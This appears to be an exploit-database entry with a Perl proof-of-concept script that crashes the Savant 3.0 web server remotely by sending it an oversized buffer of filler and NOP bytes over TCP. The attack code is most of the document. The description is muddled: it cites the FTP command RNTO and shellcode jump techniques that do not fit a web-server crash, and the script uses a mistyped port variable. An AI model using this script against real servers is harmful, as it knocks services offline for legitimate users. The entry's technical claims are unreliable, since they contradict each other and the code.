Savant 3.0 - Denied of Service (DoS)

2024.01.27
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: 404

#!/usr/bin/perl use IO::Socket; # Exploit Title: Savant 3.0 - Denied of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 27 january 2024 #https://sourceforge.net/projects/savant/files/Savant/3.0/Savant30.exe/download # Download to demo: https://drive.google.com/file/d/18m_wzC8EOSB8lHPc1DexpOfsDm7H8RFs/view?usp=sharing # Notification vendor: No reported # Tested Version: Savant 3.0 - Denied of Service (DoS) # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denied of Service (DoS) #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The web server does not correctly handle the amount of data or bytes sent to command RNTO. #When authenticating to the web server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "[+] Exploiting... \n"; my $sc = "\x90" x 245; my $buf = "\x41\x41" . " /" . $sc."\r\n\r\n"; my $s = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $por, Proto => 'tcp') or exit; $s->send($buf); close $s; print "[+] Done - Exploited success!!!!!\n\n"; sub intro { print q { _/| // o\ || ._) //__\ )___( [+] Savant 3.0 - Denied of Service (DoS) [*] Coded by Fernando Mengali [@] e-mail: fernando.mengalli@gmail.com } } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print " \nUsage: $0 <ip> <port> \n"; exit(-1); } }


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